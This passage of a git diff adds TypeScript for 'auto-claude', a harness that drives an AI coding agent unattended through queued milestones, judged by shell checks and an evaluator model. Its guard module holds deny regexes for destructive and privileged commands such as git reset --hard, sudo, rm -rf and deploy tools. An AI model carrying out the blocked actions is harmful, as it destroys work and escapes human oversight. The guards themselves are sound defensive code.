TRANSCRIPT_TAIL_CHARS = 40_000 + +export const EVALUATOR_SYSTEM = `You are a strict, skeptical judge of whether an AI coding agent has met a goal. You receive the goal, the agent's final message, and the tail of its transcript (tool calls and their real outputs). + +Rules: +- Only real tool output in the transcript counts as evidence. The agent's own claims ("tests pass", "done") are NOT evidence. +- If the goal names a check (a command, a file state), the latest run of that check in the transcript must show success. An earlier success followed by further edits without a re-run is NOT met. +- If evidence is missing, partial, or ambiguous, the goal is NOT met. +- Judge only the stated goal; do not add requirements. + +Reply with exactly one line of JSON and nothing else: +{"met": true|false, "reason": ""}` + +export type Verdict = + | { kind: 'met'; reason: string } + | { kind: 'unmet'; reason: string } + | { kind: 'unparsable'; raw: string } + | { kind: 'failed'; reason: string } + +export type StopFields = { + transcript_path: string + last_assistant_message?: string +} + +export async function evaluate($: EngineInterface, goal: Goal, e: StopFields, evidence?: string): Promise { + const ask = [ + `Goal: ${goal.condition}`, + goal.check ? `Check: ${goal.check}` : undefined, + evidence ? `\nVerified by the harness (trustworthy):\n${evidence}` : undefined, + '', + "The agent's final message:", + e.last_assistant_message ?? '(none)', + ] + .filter(line => line !== undefined) + .join('\n') + + let tail: string | undefined + try { + tail = transcriptTail(await $.fs.read(e.transcript_path)) + } catch { + tail = undefined + } + + // A transcript past the read cap is judged by a fork over the session's own + // context: same model, so less independent, but it sees everything. + // A request the engine refuses to send (a blocked model) rejects; it must + // pause the goal, not throw and leave every later Stop silently skipped. + let reply: ModelForkResult + try { + reply = + tail === undefined + ? await $.model.fork({ + prompt: `${EVALUATOR_SYSTEM}\n\nThe transcript above is the agent's work. ${ask}`, + }) + : await $.model.complete({ + model: EVALUATOR_MODEL, + system: EVALUATOR_SYSTEM, + prompt: `${ask}\n\nTranscript tail (oldest first):\n${tail}`, + maxTokens: 300, + timeoutMs: EVALUATOR_TIMEOUT_MS, + }) + } catch (error) { + return { kind: 'failed', reason: clip(String(error), 200) } + } + + if (!reply.isAnswered) { + return { kind: 'failed', reason: reply.reason } + } + + return parseVerdict(reply.text) +} + +export function parseVerdict(text: string): Verdict { + const match = text.match(/\{[\s\S]*\}/) + if (match === null) { + return { kind: 'unparsable', raw: text } + } + try { + const parsed = JSON.parse(match[0]) as { met?: unknown; reason?: unknown } + const reason = typeof parsed.reason === 'string' ? parsed.reason : 'no reason given' + if (parsed.met === true) return { kind: 'met', reason } + if (parsed.met === false) return { kind: 'unmet', reason } + + return { kind: 'unparsable', raw: text } + } catch { + return { kind: 'unparsable', raw: text } + } +} + +// Renders the newest transcript rows (text, tool calls, tool results) as plain +// lines, keeping the last TRANSCRIPT_TAIL_CHARS characters. +export function transcriptTail(jsonl: string): string { + const lines: string[] = [] + for (const raw of jsonl.split('\n')) { + if (raw.trim() === '') continue + let row: { type?: string; isMeta?: boolean; message?: { role?: string; content?: unknown } } + try { + row = JSON.parse(raw) + } catch { + continue + } + if ((row.type !== 'user' && row.type !== 'assistant') || row.message === undefined) continue + const role = row.message.role ?? row.type + const content = row.message.content + if (typeof content === 'string') { + lines.push(`[${role}] ${clip(content, 2_000)}`) + continue + } + if (!Array.isArray(content)) continue + for (const block of content as Array>) { + if (block.type === 'text' && typeof block.text === 'string') { + lines.push(`[${role}] ${clip(block.text, 2_000)}`) + } else if (block.type === 'tool_use') { + lines.push(`[tool_use ${String(block.name)}] ${clip(JSON.stringify(block.input), 1_000)}`) + } else if (block.type === 'tool_result') { + lines.push(`[tool_result${block.is_error === true ? ' error' : ''}] ${clip(resultText(block.content), 2_500)}`) + } + } + } + const joined = lines.join('\n') + + return joined.length > TRANSCRIPT_TAIL_CHARS ? joined.slice(-TRANSCRIPT_TAIL_CHARS) : joined +} + +function resultText(content: unknown): string { + if (typeof content === 'string') return content + if (!Array.isArray(content)) return '' + + return content + .map(part => + typeof part === 'object' && part !== null && (part as { type?: unknown }).type === 'text' + ? String((part as { text?: unknown }).text) + : '', + ) + .join('\n') +} + +export function clip(text: string, max: number, fromEnd = false): string { + if (text.length <= max) return text + + return fromEnd ? `…${text.slice(-(max - 1))}` : `${text.slice(0, max - 1)}…` +} diff --git a/goal-mode/hooks/guard.ts b/auto-claude/hooks/guard.ts similarity index 79% rename from goal-mode/hooks/guard.ts rename to auto-claude/hooks/guard.ts index 8e13490..7bdcf49 100644 --- a/goal-mode/hooks/guard.ts +++ b/auto-claude/hooks/guard.ts @@ -1,4 +1,4 @@ -// Loop-mode guards: pure checks on a tool call while an unattended loop runs. +// Loop-mode guards: pure checks on a tool call while an auto-claude loop goal runs. // Each returns the refusal text, or undefined to let the call through. // Regexes are a second line of defence; worktree isolation and the push rules // are the first. @@ -10,7 +10,11 @@ export type GuardContext = { } const DEPLOY = - /\b(kubectl|helm)\b|\bterraform\s+apply\b|\bdocker\s+push\b|\bgcloud\b[^\n;&|]*\bdeploy\b|\bfly(ctl)?\s+deploy\b|\bvercel\b/ + /\b(kubectl|helm)\b|\bterraform\s+apply\b|\bdocker\s+push\b|\bgcloud\b[^\n;&|]*\bdeploy\b|\bfly(ctl)?\s+deploy\b|\bvercel\b|\bwrangler\s+(deploy|publish)\b/ +// Read-only looks at what is deployed: the driver deploys, but the model may +// read a cluster or service to debug a failed smoke check. +const READ_ONLY_OPS = + /^\s*(?:\S+=\S*\s+)*(?:(?:kubectl|helm)\s+(?:-\S+\s+\S+\s+)*(?:get|logs|describe|top|version|status|list|history|explain|api-resources)\b|fly(?:ctl)?\s+(?:status|logs|releases)\b|wrangler\s+(?:tail|whoami|deployments\s+list)\b|gcloud\b[^\n]*\b(?:describe|list)\b(?![^\n]*\bdeploy\b))/ const RESET_HARD = /\bgit\b[^\n;&|]*\breset\b[^\n;&|]*--hard\b/ const SUDO = /(^|[\s;&|(])sudo\s/ const PUSH = /\bgit\b[^\n;&|]*\bpush\b[^\n;&|]*/g @@ -44,7 +48,7 @@ export function checkBash(raw: string, ctx: GuardContext): string | undefined { } if (RESET_HARD.test(command)) return 'Autonomous loop: git reset --hard is refused; commit or revert instead.' if (SUDO.test(command)) return 'Autonomous loop: sudo is refused.' - if (DEPLOY.test(command)) return 'Autonomous loop: deploy and cluster commands are refused.' + if (deploysSomething(command)) return 'Autonomous loop: deploy and cluster commands are refused (auto-claude deploys after each merge; read-only looks such as kubectl get/logs are allowed).' for (const rm of command.matchAll(RM_RF)) { const flags = rm[2] ?? '' @@ -70,6 +74,11 @@ export function checkBash(raw: string, ctx: GuardContext): string | undefined { return undefined } +// A command whose every deploy-looking segment is a read-only look is allowed. +export function deploysSomething(command: string): boolean { + return command.split(/&&|\|\||[;|\n]/).some(segment => DEPLOY.test(segment) && !READ_ONLY_OPS.test(segment)) +} + function isSafeRmTarget(target: string, worktree: string): boolean { const bare = target.replace(/^['"]|['"]$/g, '') if (bare.includes('..') || bare.startsWith('~') || bare.includes('$') || bare === '*' || bare === '.' || bare === '/') { diff --git a/auto-claude/hooks/io.ts b/auto-claude/hooks/io.ts new file mode 100644 index 0000000..f2359ff --- /dev/null +++ b/auto-claude/hooks/io.ts @@ -0,0 +1,66 @@ +// Shared I/O of the driver: processes, files, notifications and the paths a run keeps. + +import type { EngineInterface } from 'claude-code' + +import type { AutoRecord } from '../types' + +export const FILES = (root: string) => ({ + plan: `${root}/.claude/auto-plan.md`, + queue: `${root}/.claude/goals.md`, + log: `${root}/.claude/goal-loop.log`, + deny: `${root}/.claude/goal-loop.deny`, + stop: `${root}/.claude/auto-claude.stop`, + exclude: `${root}/.git/info/exclude`, +}) +export type Run = { exitCode: number; stdout: string; stderr: string } + +export async function run($: EngineInterface, argv: string[], cwd: string, timeoutMs = 120_000): Promise { + try { + const r = await $.process.run(argv, { cwd, timeoutMs }) + return { exitCode: r.exitCode, stdout: r.stdout, stderr: r.stderr } + } catch (error) { + return { exitCode: -1, stdout: '', stderr: String(error) } + } +} + +export const out = (r: Run) => (r.stderr.trim() || r.stdout.trim()).slice(0, 400) + +// A repository with no remote lands its milestones in its own default branch: its "remote" is itself. +export const LOCAL = '.' +export const refOf = (r: { remote: string; defaultBranch: string }, branch = r.defaultBranch) => (r.remote === LOCAL ? branch : `${r.remote}/${branch}`) +export async function fetchRemote($: EngineInterface, r: { remote: string }, cwd: string): Promise { + if (r.remote !== LOCAL) await run($, ['git', '-C', cwd, 'fetch', '-q', r.remote], cwd) +} + +export async function readText($: EngineInterface, path: string): Promise { + try { + return await $.fs.read(path) + } catch { + return undefined + } +} + +export async function tell($: EngineInterface, r: Pick, text: string): Promise { + const line = `auto-claude (${r.root.split('/').pop()}): ${text}` + $.ui.toast(line.slice(0, 200)) + try { + await $.ui.notify(line, { title: 'auto-claude' }) + } catch { + // No notification channel. + } +} + +export async function repoRoot($: EngineInterface, cwd: string): Promise { + const r = await run($, ['git', 'rev-parse', '--path-format=absolute', '--git-common-dir'], cwd, 15_000) + const common = r.stdout.trim() + return r.exitCode === 0 && common.endsWith('/.git') ? common.slice(0, -'/.git'.length) : undefined +} + +export async function ensureLines($: EngineInterface, path: string, lines: readonly string[], header: string): Promise { + const text = (await readText($, path)) ?? '' + const have = new Set(text.split('\n').map(l => l.trim())) + const missing = lines.filter(l => !have.has(l)) + if (missing.length === 0) return + const head = text === '' || text.endsWith('\n') ? text : `${text}\n` + await $.fs.write(path, `${head}${header}\n${missing.join('\n')}\n`) +} diff --git a/auto-claude/hooks/loop-protocol.ts b/auto-claude/hooks/loop-protocol.ts deleted file mode 100644 index 077b028..0000000 --- a/auto-claude/hooks/loop-protocol.ts +++ /dev/null @@ -1,66 +0,0 @@ -// Generated by scripts/sync-shared.ts from shared/loop-protocol.jsonl. Edit that file, then run: bun scripts/sync-shared.ts -export type ProtocolEntry = Record -export type ProtocolStep = { by: 'loop' | 'driver'; do: string; gate: string; log: ProtocolEntry[] } -export type Protocol = { about: string; queue: string; steps: ProtocolStep[] } - -export const LOOP_PROTOCOL: Protocol = { - "about": "The protocol between goal-mode's loop and a driver (auto-claude), as one gated milestone. The driver writes .claude/goal-loop.gate, a credit of starts. The loop spends one per start, logs to .claude/goal-loop.log, and holds at 0. Each later line is a step: who acts, what they do, the gate after it, and the log lines it appends (ts left out). \"\" matches any value; {root} is the repository root. goal-mode's test checks that its loop writes exactly this; auto-claude's test replays the loop's side and checks that the driver does its part.", - "queue": "- [ ] a :: check: true\n- [ ] b :: check: true\n", - "steps": [ - { - "by": "loop", - "do": "loop on", - "gate": "0", - "log": [ - { - "event": "gated", - "goal": "a", - "reason": "" - } - ] - }, - { - "by": "driver", - "do": "grant", - "gate": "1", - "log": [] - }, - { - "by": "loop", - "do": "loop on", - "gate": "0", - "log": [ - { - "event": "start", - "goal": "a", - "worktree": "{root}/worktrees/goal-01-a", - "branch": "goal/01-a" - } - ] - }, - { - "by": "loop", - "do": "met", - "gate": "0", - "log": [ - { - "event": "met", - "goal": "a", - "reason": "", - "branch": "goal/01-a" - }, - { - "event": "gated", - "goal": "b", - "reason": "" - } - ] - }, - { - "by": "driver", - "do": "grant", - "gate": "1", - "log": [] - } - ] -} diff --git a/auto-claude/hooks/loop.ts b/auto-claude/hooks/loop.ts new file mode 100644 index 0000000..0b3a60b --- /dev/null +++ b/auto-claude/hooks/loop.ts @@ -0,0 +1,412 @@ +// The loop: one queue line at a time, built in its own git worktree and judged +// at every Stop (the line's own check, run here; uncommitted changes refused; +// then an independent evaluator). Moved from goal-mode 0.7.0, which drove it +// through files a driver wrote (a gate credit, a base ref) and `/goal-mode +// loop on`; the driver now calls startNext itself, so a start it wants is +// never refused or left waiting on a command. The loop still writes +// .claude/goal-loop.log: the driver reads its events from there, and the +// harness heartbeat watches its mtime. + +import { atom, read, update } from 'claude-code' +import type { EngineInterface } from 'claude-code' + +import type { Goal, LoopCurrent, LoopRecord, LoopView } from '../types' +import { clip, evaluate } from './evaluator' +import type { StopFields } from './evaluator' +import { checkBash, checkPath, uncommitted } from './guard' +import { markItem, nextPending, parseQueue, slugify } from './queue' + +export const DEFER_TOOL = 'defer_goal' +export const DEFER_TOOL_ID = 'mcp__auto-claude__defer_goal' + +const MAX_UNMET_PER_TURN = 5 +const MAX_CHECKS = 30 +const MAX_PARSE_FAILURES = 2 +const BLOCK_CHARS = 2_000 +export const LOOP_MAX_RETRIES = 2 +export const LOOP_RETRY_DELAY_MS = 120_000 +const KICKOFF_DELAY_MS = 1_000 +const CHECK_TIMEOUT_MS = 600_000 +export const MIN_CHECKS_TO_DEFER = 2 +export const LOG_MAX_LINES = 2_000 +export const LOOP_EXCLUDES = ['worktrees/', '.claude/goals.md', '.claude/goal-loop.log', '.claude/goal-loop.deny'] + +export const goalAtom = atom({ plugin: 'auto-claude', key: 'goal' } as const, null, { shape: 'goal-1' }) +export const viewAtom = atom({ plugin: 'auto-claude', key: 'view' } as const, null, { shape: 'view-1' }) + +// What the session is doing, for the watchdog: a goal whose session sits idle +// is not being built. Kept in memory; after a reload, `loadedAt` stands in +// for the last turn's end. +export const watch = { + turnActive: false, + lastTurnEndAt: undefined as number | undefined, + // The Stop hook is running the check or the evaluator (up to ~11 min). + judging: false, + // A retry prompt is armed until then (loopStuck's pause). + retryUntil: 0, + loadedAt: 0, +} + +// Called when a goal finishes, so the driver looks at once instead of at its next tick. +let onFinish: (() => void) | undefined +export function setOnFinish(f: (() => void) | undefined): void { + onFinish = f +} + +export type LogEvent = 'start' | 'resume' | 'unmet' | 'met' | 'retry' | 'blocked' | 'deferred' | 'denied' | 'queue-empty' | 'error' + +const loopKey = (root: string) => `loop:${root}` +export const queuePath = (root: string) => `${root}/.claude/goals.md` +export const logPath = (root: string) => `${root}/.claude/goal-loop.log` +const denyPath = (root: string) => `${root}/.claude/goal-loop.deny` + +export async function readLoop($: EngineInterface, root: string): Promise { + const value = await $.store.get(loopKey(root)) + return typeof value === 'object' && value !== null ? (value as LoopRecord) : undefined +} + +export async function writeLoop($: EngineInterface, rec: LoopRecord): Promise { + await $.store.set(loopKey(rec.repoRoot), rec) +} + +type ProcessResult = { exitCode: number; stdout: string; stderr: string } + +async function run($: EngineInterface, argv: string[], cwd: string, timeoutMs: number): Promise { + const result = await $.process.run(argv, { cwd, timeoutMs }) + return { exitCode: result.exitCode, stdout: result.stdout, stderr: result.stderr } +} + +// The highest NN of the repository's goal/NN-* branches: a seq that starts +// below it (a store lost, goal-mode's own seq left behind) would make +// `worktree add -b` collide with a branch that exists. +export function maxBranchSeq(refs: string): number { + let max = 0 + for (const line of refs.split('\n')) { + const m = line.trim().match(/^goal\/(\d+)-/) + if (m !== null) max = Math.max(max, Number(m[1])) + } + return max +} + +// Takes the next pending queue line, makes its worktree from `base` (or the +// line's own `:: base:`), sets the goal and sends the kickoff. Undefined when +// the queue has no pending line (logged as queue-empty) or none could start. +export async function startNext($: EngineInterface, root: string, base: string, remote: string): Promise { + let rec: LoopRecord = (await readLoop($, root)) ?? { repoRoot: root, seq: 0, retries: 0 } + if (rec.current !== undefined) return rec.current + const refs = await run($, ['git', '-C', root, 'for-each-ref', '--format=%(refname:short)', 'refs/heads/goal/'], root, 15_000).catch(() => undefined) + rec = { ...rec, seq: Math.max(rec.seq, maxBranchSeq(refs?.stdout ?? '')) } + for (let attempt = 0; attempt < 5; attempt++) { + const item = nextPending(parseQueue((await readText($, queuePath(root))) ?? '')) + if (item === undefined) { + await writeLoop($, { ...rec, current: undefined, retries: 0 }) + await appendLog($, root, { event: 'queue-empty' }) + return undefined + } + const seq = rec.seq + 1 + const name = `${String(seq).padStart(2, '0')}-${slugify(item.condition)}` + const worktree = `${root}/worktrees/goal-${name}` + const branch = `goal/${name}` + rec = { ...rec, seq } + const from = item.base ?? base + // A remote base is fetched first, so the worktree starts from what was merged. + if (remote !== '.' && from.startsWith(`${remote}/`)) await run($, ['git', '-C', root, 'fetch', '-q', remote], root, 60_000).catch(() => undefined) + const made = await run($, ['git', '-C', root, 'worktree', 'add', worktree, '-b', branch, from], root, 60_000).catch(error => ({ exitCode: -1, stdout: '', stderr: String(error) })) + if (made.exitCode !== 0) { + const why = clip(made.stderr.trim() || made.stdout.trim() || 'git worktree add failed', 300) + await markQueue($, root, item.condition, '!', `blocked ${isoNow()}: could not create worktree: ${why}`) + await appendLog($, root, { event: 'error', goal: item.condition, reason: why }) + await writeLoop($, rec) + continue + } + const current: LoopCurrent = { condition: item.condition, check: item.check, worktree, branch, startedAt: await $.clock.now() } + rec = { ...rec, current, retries: 0, wakes: 0 } + await writeLoop($, rec) + await setView($, root, current) + await update($, goalAtom, () => newGoal(item.condition, item.check, current.startedAt)) + await appendLog($, root, { event: 'start', goal: item.condition, worktree, branch }) + submitLater($, root, kickoffText(current, seq), KICKOFF_DELAY_MS) + return current + } + await $.ui.toast('auto-claude: could not start any milestone (worktree errors); see .claude/goal-loop.log') + return undefined +} + +// Sends the current goal's prompt again: a resumed session, or a session the +// watchdog found idle with a goal still open. +export async function resumeLoop($: EngineInterface, root: string, why: string): Promise { + const rec = await readLoop($, root) + const current = rec?.current + if (rec === undefined || current === undefined) return false + await setView($, root, current) + const goal = await read($, goalAtom) + if (goal === null || goal.condition !== current.condition) { + await update($, goalAtom, () => newGoal(current.condition, current.check, current.startedAt)) + } else { + await update($, goalAtom, g => (g === null ? null : resetTurn(g))) + } + await appendLog($, root, { event: 'resume', goal: current.condition, reason: why }) + submitLater($, root, `[auto-claude loop] Continuing (${why}).\n\n${kickoffText(current, rec.seq)}`, KICKOFF_DELAY_MS) + return true +} + +// The milestone being built in this session, for the guards and the policy; +// null when none. (The engine reads state only through atoms of the same file.) +export async function loopView($: EngineInterface): Promise { + return read($, viewAtom) +} + +// Ends the loop's part of a run: no goal judged, no guards. The worktree and branch stay. +export async function stopLoop($: EngineInterface, root: string): Promise { + const rec = await readLoop($, root) + if (rec !== undefined) await writeLoop($, { ...rec, current: undefined, retries: 0, wakes: 0 }) + await update($, goalAtom, () => null) + await update($, viewAtom, () => null) +} + +async function setView($: EngineInterface, root: string, current: LoopCurrent): Promise { + const view: LoopView = { repoRoot: root, worktree: current.worktree, branch: current.branch, extraDeny: await readDenyFile($, root) } + await update($, viewAtom, () => view as never) +} + +// A prompt submitted from inside a hook that holds the turn (command.run, +// classic.Stop) is refused by the engine: a timer fires after the hook +// returned, and the prompt starts a turn of its own once the session is idle. +function submitLater($: EngineInterface, root: string, text: string, delayMs: number): void { + $.clock.after(delayMs, () => { + $.prompt.submit({ text }).catch(async error => { + await appendLog($, root, { event: 'error', reason: `prompt not submitted: ${clip(String(error), 300)}` }) + $.ui.toast('auto-claude: a loop prompt could not be submitted; the watchdog sends it again') + }) + }) +} + +// The Stop of a turn in which a goal runs: judge it. +export async function onStop($: EngineInterface, e: StopFields, below: R): Promise { + const goal = await read($, goalAtom) + if (goal === null) return below + const view = await read($, viewAtom) + const rec = view === null ? undefined : await readLoop($, view.repoRoot) + if (view === null || rec?.current === undefined) { + // The run was stopped elsewhere: drop the orphan goal. + await update($, goalAtom, () => null) + await update($, viewAtom, () => null) + return below + } + watch.judging = true + try { + return await judge($, { rec, view, goal }, e, below) + } finally { + watch.judging = false + } +} + +async function judge($: EngineInterface, { rec, view, goal }: { rec: LoopRecord; view: LoopView; goal: Goal }, e: StopFields, below: R): Promise { + if (goal.deferPending !== undefined) { + await finishGoal($, rec, { mark: '!', note: `deferred ${isoNow()}: ${goal.deferPending}`, event: 'deferred', reason: goal.deferPending }) + return below + } + + // 1. The queue's own check, run deterministically in the worktree. + let evidence: string | undefined + if (goal.check !== undefined) { + let ran: ProcessResult + try { + ran = await run($, ['bash', '-lc', goal.check], view.worktree, CHECK_TIMEOUT_MS) + } catch (error) { + return loopStuck($, rec, goal, below, `the check could not run (${clip(String(error), 200)})`) + } + const output = clip(`${ran.stdout}\n${ran.stderr}`.trim(), 1_500, true) + if (ran.exitCode !== 0) return loopUnmet($, rec, goal, below, `check \`${goal.check}\` exited ${ran.exitCode}:\n${output}`) + evidence = `The loop ran the check \`${goal.check}\` in ${view.worktree}: exit 0.\n${output}` + } + + // 2. Every step must be committed before the goal can count as met. + const status = await run($, ['git', '-C', view.worktree, 'status', '--porcelain'], view.worktree, 60_000).catch(() => undefined) + const pending = status === undefined ? [] : uncommitted(status.stdout) + if (pending.length > 0) return loopUnmet($, rec, goal, below, `uncommitted changes in ${view.worktree}; commit them:\n${clip(pending.join('\n'), 600)}`) + + // 3. The independent judge, given the check's result as evidence. + const verdict = await evaluate($, goal, e, evidence) + if (verdict.kind === 'met') { + await finishGoal($, rec, { mark: 'x', note: `done ${isoNow()} ${view.branch}, ${goal.checks} failed checks`, event: 'met', reason: verdict.reason }) + return below + } + if (verdict.kind === 'unmet') return loopUnmet($, rec, goal, below, verdict.reason) + if (verdict.kind === 'failed') return loopStuck($, rec, goal, below, `the goal check could not complete (${verdict.reason})`) + const failures = goal.parseFailures + 1 + if (failures >= MAX_PARSE_FAILURES) return loopStuck($, rec, goal, below, 'the goal check gave no readable verdict') + await update($, goalAtom, g => (g === null ? null : { ...g, parseFailures: failures })) + return below +} + +async function loopUnmet($: EngineInterface, rec: LoopRecord, goal: Goal, below: R, reason: string): Promise { + const counted = await countUnmet($, reason) + await appendLog($, rec.repoRoot, { event: 'unmet', goal: goal.condition, reason: clip(reason, 300), checks: counted.checks }) + if (counted.checks >= MAX_CHECKS) { + await finishGoal($, rec, { mark: '!', note: `blocked ${isoNow()}: unmet after ${counted.checks} checks: ${clip(reason, 200)}`, event: 'blocked', reason: reason }) + return below + } + if (counted.unmetThisTurn >= MAX_UNMET_PER_TURN) return loopStuck($, rec, goal, below, 'goal checks kept finding it unmet this turn') + return { ...below, block: blockText(reason, goal) } +} + +// Stuck: retry with a change of approach after a pause, then give up on the +// goal and move on. The stop itself is allowed either way. +export async function loopStuck($: EngineInterface, rec: LoopRecord, goal: Goal, below: R, because: string): Promise { + if (rec.retries >= LOOP_MAX_RETRIES || rec.current === undefined) { + const last = goal.lastReason ?? because + await finishGoal($, rec, { mark: '!', note: `blocked ${isoNow()}: ${clip(last, 200)}`, event: 'blocked', reason: last }) + return below + } + const retries = rec.retries + 1 + await writeLoop($, { ...rec, retries }) + await update($, goalAtom, g => (g === null ? null : resetTurn(g))) + await appendLog($, rec.repoRoot, { event: 'retry', goal: goal.condition, reason: because, retries }) + watch.retryUntil = (await $.clock.now()) + LOOP_RETRY_DELAY_MS + 5_000 + const reasons = (await read($, goalAtom))?.recentReasons ?? [] + submitLater($, rec.repoRoot, retryText(rec.current, retries, reasons), LOOP_RETRY_DELAY_MS) + return below +} + +// Gives up on the current goal from outside a Stop (the watchdog woke an idle +// session too often): blocked, and the driver moves on. +export async function blockCurrent($: EngineInterface, root: string, why: string): Promise { + const rec = await readLoop($, root) + if (rec?.current === undefined) return + await finishGoal($, rec, { mark: '!', note: `blocked ${isoNow()}: ${clip(why, 200)}`, event: 'blocked', reason: why }) +} + +// Marks the queue line and logs; the driver reads the event and ships, holds +// or starts the next goal. The worktree and branch stay. +type Outcome = { mark: 'x' | '!'; note: string; event: LogEvent; reason: string } + +async function finishGoal($: EngineInterface, rec: LoopRecord, { mark, note, event, reason }: Outcome): Promise { + const current = rec.current + if (current === undefined) return + await markQueue($, rec.repoRoot, current.condition, mark, note) + await appendLog($, rec.repoRoot, { event, goal: current.condition, reason: clip(reason, 300), branch: current.branch }) + $.ui.toast(`auto-claude: milestone ${mark === 'x' ? 'met' : event}: ${clip(current.condition, 80)}`) + await update($, goalAtom, () => null) + await update($, viewAtom, () => null) + await writeLoop($, { ...rec, current: undefined, retries: 0, wakes: 0 }) + onFinish?.() +} + +// defer_goal: recorded only; the next Stop marks the goal and moves on, so a +// new goal is never judged against this turn's transcript. +export async function deferCall($: EngineInterface, reasonRaw: unknown): Promise<{ deny: string } | { result: string }> { + const reason = typeof reasonRaw === 'string' ? reasonRaw.trim() : '' + const goal = await read($, goalAtom) + if (goal === null || (await read($, viewAtom)) === null) return { deny: `${DEFER_TOOL_ID} is only for milestones of a running auto-claude loop.` } + if (goal.checks < MIN_CHECKS_TO_DEFER) { + return { deny: `Too early to defer: only ${goal.checks} failed check(s). Keep working; defer only an external blocker after ${MIN_CHECKS_TO_DEFER} failed checks.` } + } + if (reason === '') return { deny: 'reason is required.' } + await update($, goalAtom, g => (g === null ? null : { ...g, deferPending: reason })) + return { result: 'Deferral recorded. Stop now; the loop marks this milestone blocked and moves to the next one.' } +} + +// Refusals while a run is on in this session (`runOn`) and while a goal runs +// in it (`view`). The person cannot answer, a plan-mode turn would hold the +// run, and a session goal of Claude Code's own (/goal) would block the loop's +// stops (measured in de-artifact: the run idled to its 24 h cap). +export function guardRefusal(e: Record, view: LoopView | null, runOn: boolean): string | undefined { + const tool = String(e.tool) + if (runOn || view !== null) { + if (tool === 'AskUserQuestion') return `auto-claude run: nobody can answer. Decide with a stated assumption (the recommended or safest option), or call ${DEFER_TOOL_ID} for an external blocker.` + if (tool === 'EnterPlanMode') return 'auto-claude run: plan mode would hold the run; plan inline and keep working.' + if (tool === 'ProposeGoal') return 'auto-claude run: the loop sets each milestone as the goal itself; a session goal would block it.' + } + if (view === null) return undefined + if (tool === 'Bash' && typeof e.command === 'string') return checkBash(e.command, view) + if ((tool === 'Edit' || tool === 'Write' || tool === 'MultiEdit') && typeof e.file_path === 'string') return checkPath(e.file_path, view) + if (tool === 'NotebookEdit' && typeof e.notebook_path === 'string') return checkPath(e.notebook_path, view) + return undefined +} + +export const LOOP_POLICY = `# auto-claude milestone — ACTIVE +You are building one milestone of an unattended auto-claude run. Nobody is watching this session. +- Do not ask questions (AskUserQuestion is refused) and do not enter plan mode. Decide with a stated assumption and record it in the commit message. +- A "CONFIDENCE HALT" becomes a call to ${DEFER_TOOL_ID} with the reason, and only for external blockers (credentials, a human decision, missing access) after at least ${MIN_CHECKS_TO_DEFER} failed checks. Otherwise keep working. +- Work only inside the milestone's worktree; commit after each meaningful step. Push only your goal/* branch, never main or with force. auto-claude pushes, merges and deploys for you.` + +export function kickoffText(current: LoopCurrent, seq: number): string { + return [ + `[auto-claude loop] Milestone #${seq}: ${current.condition}`, + current.check + ? `Check (the loop runs it in the worktree at every stop; it must exit 0): ${current.check}` + : 'No check command: an independent evaluator judges the milestone from the transcript, so leave real evidence.', + `Work ONLY in the git worktree ${current.worktree} (branch ${current.branch}); cd there first. Edits elsewhere in the repository are refused.`, + 'Commit after each meaningful step: the milestone is not accepted with uncommitted changes.', + `You may push only this branch (git push -u origin ${current.branch}); never main/master, never with force. auto-claude opens the PR, merges and deploys once the milestone is met.`, + `Nobody is watching: do not ask questions. Decide with a stated assumption and record it in the commit message. For an external blocker (credentials, a human decision, missing access), call ${DEFER_TOOL_ID} after at least ${MIN_CHECKS_TO_DEFER} failed checks.`, + ].join('\n') +} + +function retryText(current: LoopCurrent, retries: number, reasons: readonly string[]): string { + return [ + `[auto-claude loop] Retry ${retries}/${LOOP_MAX_RETRIES} for: ${current.condition}`, + 'The last checks found it unmet:', + ...reasons.map(reason => `- ${clip(reason, 400)}`), + `Step back: list the approaches you have tried and why they failed, then pick a materially different approach (a subagent may investigate). Continue in ${current.worktree} on ${current.branch}.`, + ].join('\n') +} + +async function readText($: EngineInterface, path: string): Promise { + try { + return await $.fs.read(path) + } catch { + return undefined + } +} + +async function markQueue($: EngineInterface, root: string, condition: string, mark: 'x' | '!', note: string): Promise { + const text = await readText($, queuePath(root)) + // The queue file vanished: the log still records the outcome. + if (text !== undefined) await $.fs.write(queuePath(root), markItem(text, condition, mark, note)).catch(() => undefined) +} + +async function readDenyFile($: EngineInterface, root: string): Promise { + return ((await readText($, denyPath(root))) ?? '') + .split('\n') + .map(line => line.trim()) + .filter(line => line !== '' && !line.startsWith('#')) +} + +export async function appendLog($: EngineInterface, root: string, entry: Record): Promise { + try { + const text = (await readText($, logPath(root))) ?? '' + const lines = text.split('\n').filter(line => line !== '') + lines.push(JSON.stringify({ ts: isoNow(), ...entry })) + await $.fs.write(logPath(root), `${lines.slice(-LOG_MAX_LINES).join('\n')}\n`) + } catch { + // Logging never stops the loop. + } +} + +function newGoal(condition: string, check: string | undefined, setAt: number): Goal { + return { condition, check, setAt, checks: 0, unmetThisTurn: 0, parseFailures: 0, recentReasons: [] } +} + +function resetTurn(goal: Goal): Goal { + return { ...goal, unmetThisTurn: 0, parseFailures: 0 } +} + +async function countUnmet($: EngineInterface, reason: string): Promise<{ checks: number; unmetThisTurn: number }> { + const goal = await update($, goalAtom, g => + g === null ? null : { ...g, checks: g.checks + 1, unmetThisTurn: g.unmetThisTurn + 1, lastReason: reason, recentReasons: [...g.recentReasons, reason].slice(-3) }, + ) + return { checks: goal?.checks ?? 0, unmetThisTurn: goal?.unmetThisTurn ?? 0 } +} + +function blockText(reason: string, goal: Goal): string { + return clip( + `Milestone not met: ${reason}\nKeep working toward it: ${goal.condition}${goal.check ? `\nCheck: ${goal.check}` : ''}\nRe-run the check before you stop so its output is in the transcript.`, + BLOCK_CHARS, + ) +} + +function isoNow(): string { + return new Date().toISOString().replace(/\.\d+Z$/, 'Z') +} diff --git a/auto-claude/hooks/plan.ts b/auto-claude/hooks/plan.ts index 7e98d31..d210ddb 100644 --- a/auto-claude/hooks/plan.ts +++ b/auto-claude/hooks/plan.ts @@ -1,6 +1,6 @@ // auto-claude's pure part for planning: plan validation and the prompts that -// start a run and replan it. The queue grammar is goal-mode's own, generated -// into ./queue.ts from shared/queue.ts. +// start a run and replan it. The queue grammar is generated into ./queue.ts +// from shared/queue.ts. import { parseQueue } from './queue' import type { QueueItem } from './queue' @@ -14,28 +14,72 @@ export function finalCheckOf(plan: string): string | undefined { return m?.[1]?.trim() || undefined } -export type PlanVerdict = { ok: true; finalCheck: string; pending: QueueItem[] } | { ok: false; errors: string[] } +// `